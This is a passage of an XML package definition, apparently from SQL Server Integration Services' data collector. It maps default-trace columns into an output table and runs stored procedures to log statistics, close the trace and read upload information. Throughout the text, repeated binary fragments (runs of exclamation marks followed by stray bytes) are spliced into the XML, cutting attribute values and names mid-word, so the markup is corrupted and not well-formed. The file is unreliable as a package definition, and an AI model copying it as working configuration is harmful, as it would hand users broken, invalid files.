Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ParentName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ParentName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[IsSystem]" cachedDataType="i4" cachedName="IsSystem" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IsSystem]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IsSystem]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Offset]" cachedDataType="i4" cachedName="Offset" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Offset]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Offset]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[SourceDatabaseID]" cachedDataType="i4" cachedName="SourceDatabaseID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SourceDatabaseID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SourceDatabaseID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[SessionLoginName]" cachedDataType="wstr" cachedLength="256" cachedName="SessionLoginName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SessionLoginName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SessionLoginName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[trace_info_id]" cachedDataType="i4" cachedName="trace_info_id" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[trace_info_id]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[trace_info_id]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[snapshot_id]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[GroupID]" cachedDataType="i4" cachedName="GroupID" externalMetadataColumnId="Package\SEQ	!!!!!!!!!!!!!!!!!!!!!!!!`4	^zHv - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[GroupID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GroupID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[SqlHandle64]" cachedDataType="bytes" cachedLength="64" cachedName="SqlHandle64" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SqlHandle]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Output].Columns[SqlHandle64]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[PlanHandle64]" cachedDataType="bytes" cachedLength="64" cachedName="PlanHandle64" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[PlanHandle]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Output].Columns[PlanHandle64]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[trace_info_id]" dataType="i4" name="trace_info_id"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" dataType="i4" name="snapshot_id"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TextData]" dataType="nText" name="TextData"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BinaryData]" dataType="image" name="BinaryData"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DatabaseID]" dataType="i4" name="DatabaseID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TransactionID]" dataType="i8" name="TransactionID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LineNumber]" dataType="i4" name="LineNumber"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NTUserName]" dataType="wstr" length="256" name="NTUserName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NTDomainName]" dataType="wstr" length="256" name="NTDomainName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[HostName]" dataType="wstr" length="256" name="HostName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ClientProcessID]" dataType="i4" name="ClientProcessID"/><externalMetadataColumn refId="Package\	!!!!!!!!!!!!!!!!!!!!!!!!`4	BHvSEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ApplicationName]" dataType="wstr" length="256" name="ApplicationName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LoginName]" dataType="wstr" length="256" name="LoginName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SPID]" dataType="i4" name="SPID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Duration]" dataType="i8" name="Duration"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[StartTime]" dataType="dbTimeStamp" name="StartTime"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EndTime]" dataType="dbTimeStamp" name="EndTime"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Reads]" dataType="i8" name="Reads"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Writes]" dataType="i8" name="Writes"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[CPU]" dataType="i4" name="CPU"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Permissions]" dataType="i8" name="Permissions"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Severity]" dataType="i4" name="Severity"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventSubClass]" dataType="i4" name="EventSubClass"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectID]" dataType="i4" name="ObjectID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Success]" dataType="i4" name="Success"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IndexID]" dataType="i4" name="IndexID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IntegerData]" dataType="i4" name="IntegerData"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ServerName]" dataType="wstr" length="256" name="ServerName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventClass]" dataType="i4" name="EventClass"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Uplo	!!!!!!!!!!!!!!!!!!!!!!!!`4
qHvad default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectType]" dataType="i4" name="ObjectType"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NestLevel]" dataType="i4" name="NestLevel"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[State]" dataType="i4" name="State"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Error]" dataType="i4" name="Error"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Mode]" dataType="i4" name="Mode"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Handle]" dataType="i4" name="Handle"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectName]" dataType="wstr" length="256" name="ObjectName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DatabaseName]" dataType="wstr" length="256" name="DatabaseName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[FileName]" dataType="wstr" length="256" name="FileName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[OwnerName]" dataType="wstr" length="256" name="OwnerName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RoleName]" dataType="wstr" length="256" name="RoleName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetUserName]" dataType="wstr" length="256" name="TargetUserName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DBUserName]" dataType="wstr" length="256" name="DBUserName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LoginSid]" dataType="image" name="LoginSid"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetLoginName]" dataType="wstr" length="256" name="TargetLoginName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetLoginSid]" dataType="image" name="TargetLoginSid"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ColumnPermissions]" dataType="i4" name="ColumnPermissions"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LinkedServerName]" dataType="wstr" length="256" na	!!!!!!!!!!!!!!!!!!!!!!!!`4RсHvme="LinkedServerName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ProviderName]" dataType="wstr" length="256" name="ProviderName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[MethodName]" dataType="wstr" length="256" name="MethodName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RowCounts]" dataType="i8" name="RowCounts"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RequestID]" dataType="i4" name="RequestID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[XactSequence]" dataType="i8" name="XactSequence"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventSequence]" dataType="i8" name="EventSequence"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BigintData1]" dataType="i8" name="BigintData1"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BigintData2]" dataType="i8" name="BigintData2"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[GUID]" dataType="guid" name="GUID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IntegerData2]" dataType="i4" name="IntegerData2"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectID2]" dataType="i8" name="ObjectID2"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Type]" dataType="i4" name="Type"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[OwnerID]" dataType="i4" name="OwnerID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ParentName]" dataType="wstr" length="256" name="ParentName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IsSystem]" dataType="i4" name="IsSystem"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Offset]" dataType="i4" name="Offset"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SourceDatabaseID]" dataType="i4" name="SourceDatabaseID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SqlHandle]" dataType="bytes" len	!!!!!!!!!!!!!!!!!!!!!!!!`4Hvgth="64" name="SqlHandle"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SessionLoginName]" dataType="wstr" length="256" name="SessionLoginName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[PlanHandle]" dataType="bytes" length="64" name="PlanHandle"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[GroupID]" dataType="i4" name="GroupID"/></externalMetadataColumns></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Destination Error Output" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input]"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component></components><paths><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[Aggregate Output 1]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Inputs[Derived Column Input]" name="Aggregate Output 1" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1]"/><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[Data Conversion Output]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Output row count.Inputs[Row Count Input 1]" name="Data Conversion Output" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Output]"/><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[Derived Column Output1]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Inputs[Data Conversion Input]" name="Derived Column Output" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output]"/><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[Derived Column Output]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Update trace_info.Inputs[OLE DB Command Input]" name="Derived Column Output" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output]"/><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[Multicast Output 1]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Inputs[Derived Column Input]" name="Multicast Output 1" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two way	!!!!!!!!!!!!!!!!!!!!!!!!`4Hvs.Outputs[Multicast Output 1]"/><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[Multicast Output 2]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Inputs[Aggregate Input 1]" name="Multicast Output 2" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways.Outputs[Multicast Output 2]"/><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[OLE DB Source Error Output]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Error row count source.Inputs[Row Count Input 1]" name="OLE DB Source Error Output" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output]"/><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[OLE DB Source Output]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Input row count.Inputs[Row Count Input 1]" name="OLE DB Source Output" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output]"/><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[Row Count Output 1]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input]" name="Row Count Output 1" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Output row count.Outputs[Row Count Output 1]"/><path refId="Package\SEQ - Default trace upload\DFT - Upload default trace file.Paths[Row Count Output 11]" endId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways.Inputs[Multicast Input 1]" name="Row Count Output 1" startId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Input row count.Outputs[Row Count Output 1]"/></paths></pipeline></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Default trace upload\SQL - Log package stats" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Logs statistics about the most recent Data Flow Task" DTS:DTSID="{147f8f7a-f829-4ac7-a038-03943f58ee3b}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log package stats" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{74950c5e-3a60-494f-83a3-e04e64e1217f}" DTS:EvaluateAsExpression="True" DTS:Expression="DATEDIFF(&quot;millisecond&quot;, @[System::ContainerStartTime] , GETDATE()  )" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="3">656</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{C9A06CAE-CFEE-4A26-BE59-A3A222474CCB}" SQLTask:SqlStatementSource="{ call [dbo].[sp_syscollector_event_onstatsupdate] (?, N'Upload trace file', ?, ?, ?, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::RowCountIn" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSiz	!!!!!!!!!!!!!!!!!!!!!!!!`42pUHve="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::RowCountOut" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::RowCountError" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::LoopDuration" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package\SEQ - Default trace upload.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{AEDEEA80-FB4F-4737-B938-B2909C835D5A}" DTS:EvalOp="3" DTS:Expression="@[LoggingLevel] &gt;= 1" DTS:From="Package\SEQ - Default trace upload\DFT - Upload default trace file" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\SEQ - Default trace upload\SQL - Log package stats" DTS:Value="2"/></DTS:PrecedenceConstraints></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Close trace" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{EAA2093E-36E6-4EA8-A5E9-E568C5A46516}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Close trace" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{607D54DC-E752-4779-9BB2-B3D19CAD0C76}" SQLTask:SqlStatementSource="{ call [sp_trace_setstatus] (?, 2) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::TraceID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Get last upload time" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{0F29500B-BB42-4603-AB36-A6C75CFC649B}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Get last upload time" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{6CE046ED-1A7E-4831-864D-EF6FCE30E5A9}" SQLTask:SqlStatementSource="{ call [snapshots].[sp_trace_get_info] (?, ?, ?, ?, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::SourceID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::ItemID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterN	!!!!!!!!!!!!!!!!!!!!!!!!`4!2|aHvame="2" 